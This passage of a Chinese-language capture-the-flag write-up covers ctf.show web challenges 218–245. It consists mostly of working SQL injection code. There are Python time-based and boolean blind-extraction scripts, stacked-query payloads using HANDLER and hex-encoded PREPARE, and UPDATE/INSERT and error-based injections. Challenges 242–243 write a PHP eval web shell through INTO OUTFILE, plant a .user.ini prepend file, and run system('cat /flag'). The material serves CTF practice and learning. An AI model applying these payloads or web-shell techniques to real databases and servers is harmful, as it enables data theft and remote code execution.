sleep_rep = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
payload = "1) or if(ascii(mid((select group_concat(flagaac) from ctfshow_flagxc),%d,1))>%d,%s,0)#" % (i, mid, sleep_rep)
data = {
'ip':payload,
'debug':0
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 219
用笛卡尔积:
import requests
import time
url = "http://cc0d5d16-c6b3-4672-8955-b7134f2d6cc5.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.3)
mid = head + tail >> 1
sleep_rep = "(SELECT count(*) FROM information_schema.columns A, information_schema.columns B)"
payload = "1) or if(ascii(mid((select flagaabc from ctfshow_flagxca),%d,1))>%d,%s,0)#" % (i, mid, sleep_rep)
data = {
'ip':payload,
'debug':0
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 0.15:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 220
import requests
url = "http://ab655d78-6741-4e26-ba76-fdb92bb854b6.challenge.ctf.show/api/"
strr = "qazwsxedcrfvtgbyhnujmikolp-_1234567890{}"
payload = "select flagaabcc from ctfshow_flagxcac"
j = 1
flag = ""
while 1:
for i in strr:
flag += i
data = {
'ip': f"1) or if(left(({payload}),{j})='{flag}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1",
'debug': '1'
}
try:
r = requests.post(url, data=data, timeout=0.15)
flag = flag[:-1]
except Exception as e:
print(flag)
j+=1
web 221
使用 PROCEDURE
函数进行注入
page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)
如果这题没有回显,可以用时间盲注
BENCHMARK(5000000,SHA1(1)),1))))),1)
web 222
import requests
import time
url = "http://cdd4496e-a471-4cc7-b964-170ee2b17222.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.3)
mid = head + tail >> 1
payload = "select flagaabc from ctfshow_flaga"
params = {
'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), floor(rand(0)*2));"
}
time1 = time.time()
r = requests.get(url, params=params)
time2 = time.time()
if (time2-time1) > 1.05:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 223
可以布尔盲注,过滤了数字,用 true 代替
import requests
url = 'http://1d2b781a-444e-47fe-941d-201e33b77438.challenge.ctf.show/api/index.php'
word = 'abcdefghijklmnopqrstuvwxyz0123456789-{}'
flag = ''
def generateNum(num):
res = ''
for i in range(num):
res += "true+"
return res[:-1]
for i in range(1,50):
for j in word:
payload = "select flagasabc from ctfshow_flagas"
final_payload = f"if(ascii(substr(({payload}),{generateNum(i)},true))=({generateNum(ord(j))}),username,'a')"
params = {
"u": final_payload
}
print(final_payload)
req = requests.get(url=url,params=params)
if 'userAUTO' in req.text:
flag += j
print(flag)
break
web 224
扫目录,有robots.txt,pwdreset.php 可以重置密码
然后下载群里的 payload.bin 上传
然后1.php?1=cat /flag就可以了
web 225
利用handle
api/?username=';show tables;#
mysql> handler users open;handler users read first;
Query OK, 0 rows affected (0.01 sec)
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 1232 |
+----+----------+----------+
1 row in set (0.02 sec)
api/?username=';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
利用预处理
api/?username=0';prepare a from concat('s','elect',' flagas from ctfshow_flagasa');execute a;
web 226
过滤了有括号,用 16 进制绕过
api/?username=';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;#
web 227
api/?username=';PREPARE a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE a;
web228、229、230
web228
?username=';PREPARE a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE a;
web229
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c6167;EXECUTE a;
web230
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE a;
web 231
update 替换字段值
查表名
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
查列名
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
得到flag
password=1',username=(select flagas from flaga) where 1=1#&username=1
web 232
//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
在上一题的基础上加个闭合就行了
payload:
password=1'),username=(select flagass from flagaa) where 1=1#&username=1
web 233
无回显,盲注即可
import requests
import time
url = "http://20eb92e9-e637-4327-985b-89811ff6cde8.challenge.ctf.show/api/?page=1&limit=10"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.3)
mid = head + tail >> 1
payload = f"' or if(ascii(substr((select group_concat(flagass233) from flag233333),{i},1))<{mid},sleep(0.05),1)#"
data = {
'password':'1',
'username':payload
}
time1 = time.time()
r = requests.post(url, data=data)
time2 = time.time()
if (time2-time1) > 1.05:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
continue
web 234
y4 大师傅说过滤了单引号,可以用 \ 逃逸出来
update ctfshow_user set pass = '{$password}' where username = '{$username}';
update ctfshow_user set pass = ' \' where username = '{$username}';
这样 pass 的内容就是 ' where username = ',username 处我们就可以控制了。
payload:
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
password=\&username=,username=(select flagass23s3 from flag23a)#
web 235
过滤了 or ,那么 information 就用不起来了,可以用 mysql.innodb_table_stats 代替
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
然后用无列名注入
password=\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a)#
web 236
感觉过滤了个寂寞,flag 照样能用
password=\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flaga )a)#
web 237
insert 注入,原理和 update 注入一样,闭合逃逸补全
',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#&password=1
',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#&password=1
',(select group_concat(flagass23s3) from flag))#&password=1
web 238
过滤了空格,可以用括号代替
username=',(select(group_concat(flag))from(flagb)));#&password=1
web 239
过滤了空格,和 or,和 235 题一样用 mysql.innodb_table_stats
username=',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1
这边不知道又偷偷过滤了啥,无列名注入不起来
username=',(select(flag)from(flagbb)));#&password=1
web 240
根据题目的意识,应该是爆破表名,这边就贴一下 mumuzi 大佬的脚本,自己写的太拉 了,学到了一种全排列的写法,nice!
import requests
import itertools
url = 'http://c04a7d0b-a231-47f6-bc6e-06b5a3b15acd.challenge.ctf.show/api/insert.php'
for i in itertools.product('ab',repeat = 5):
flag = 'flag'+''.join(i)
print(flag)
data = {
'username': f"',(select(flag)from({flag})));#",
'password':1
}
req = requests.post(url,data=data)
web 241
用时间盲注,如果是布尔的话还没注完,表就被删光了。
import requests
import time
url = "http://401d77e4-40a8-4dbf-83e1-d1f8d3e62e7e.challenge.ctf.show/api/delete.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.3)
mid = head + tail >> 1
payload = f"if(ascii(substr((select group_concat(flag) from flag),{i},1))>{mid},sleep(0.02),55)#"
data = {
'id': payload
}
time1 = time.time()
r = requests.post(url, data=data)
time2 = time.time()
if (time2-time1) > 0.4:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 242 – file 注入
可以用可选参数写入 shell
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
----------------------------------------------------
“OPTION”参数为可选参数选项,其可能的取值有:
FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
payload:
api/dump.php
filename=1.php' LINES STARTING BY "<?php eval($_POST[1]);?>";#
在 dump/1.php 处getshell
web 243
过滤了php,可以传 ini 加图片马
在开头和结尾加 0x0a 换行,保证 auto_prepend_file=1.jpg 在单独一行
filename=.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d312e706e670a;#
传图片马
filename=1.jpg' LINES STARTING BY '<?=eval($_GET[1]);?>'#
最后
/dump/index.php?1=system('cat /flag.here');
web 244
报错注入
api/?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)%23
api/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,32),0x7e),1)%23
api/?id=1' or updatexml(1,concat(0x7e,(select left(flag,32) from ctfshow_flag),0x7e),1)%23
api/?id=1' or updatexml(1,concat(0x7e,(select right(flag,32) from ctfshow_flag),0x7e),1)%23
web 245
同上报错注入
api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag1) from ctfshow_flagsa),1,30),0x7e))+--+
api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag1) from ctfshow_flagsa),20,30),0x7e))+--+